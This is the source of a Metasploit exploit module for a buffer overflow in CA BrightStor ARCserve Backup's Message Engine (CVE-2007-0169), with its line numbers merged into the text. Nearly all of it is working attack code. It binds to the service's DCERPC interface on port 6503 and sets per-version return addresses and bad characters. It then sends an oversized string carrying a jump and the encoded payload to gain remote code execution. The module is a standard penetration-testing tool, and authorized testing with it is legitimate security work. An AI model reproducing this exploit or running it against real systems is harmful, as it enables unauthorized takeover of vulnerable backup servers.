Path: blob/master/modules/exploits/windows/brightstor/message_engine.rb
19812 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = AverageRanking78include Msf::Exploit::Remote::DCERPC910def initialize(info = {})11super(12update_info(13info,14'Name' => 'CA BrightStor ARCserve Message Engine Buffer Overflow',15'Description' => %q{16This module exploits a buffer overflow in Computer Associates BrightStor ARCserve Backup1711.1 - 11.5 SP2. By sending a specially crafted RPC request, an attacker could overflow18the buffer and execute arbitrary code.19},20'Author' => [ 'MC', 'aushack' ],21'License' => MSF_LICENSE,22'References' => [23[ 'CVE', '2007-0169' ],24[ 'OSVDB', '31318' ],25[ 'BID', '22005' ],26],27'Privileged' => true,28'DefaultOptions' => {29'EXITFUNC' => 'thread',30},31'Payload' => {32'Space' => 600,33'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e",34'StackAdjustment' => -3500,35},36'Platform' => 'win',37'Targets' => [38[ 'BrightStor ARCserve r11.1', { 'Ret' => 0x23805d10 } ], # p/p/r cheyprod.dll 07/21/200439[ 'BrightStor ARCserve r11.5', { 'Ret' => 0x2380ceb5 } ],40[ 'BrightStor ARCserve r11.5 SP2', { 'Ret' => 0x2380a47d } ],41],42'DisclosureDate' => '2007-01-11',43'DefaultTarget' => 1,44'Notes' => {45'Reliability' => UNKNOWN_RELIABILITY,46'Stability' => UNKNOWN_STABILITY,47'SideEffects' => UNKNOWN_SIDE_EFFECTS48}49)50)5152register_options(53[54Opt::RPORT(6503)55]56)57end5859def exploit60connect6162handle = dcerpc_handle('dc246bf0-7a7a-11ce-9f88-00805fe43838', '1.0', 'ncacn_ip_tcp', [datastore['RPORT']])63print_status("Binding to #{handle} ...")6465dcerpc_bind(handle)66print_status("Bound to #{handle} ...")6768filler = rand_text_english(616) + Rex::Arch::X86.jmp_short(6) + rand_text_english(2) + [target.ret].pack('V')6970sploit = NDR.string(filler + payload.encoded + "\x00") + NDR.long(0)7172print_status("Trying target #{target.name}...")7374begin75dcerpc_call(47, sploit)76rescue Rex::Proto::DCERPC::Exceptions::NoResponse77end7879handler80disconnect81end82end838485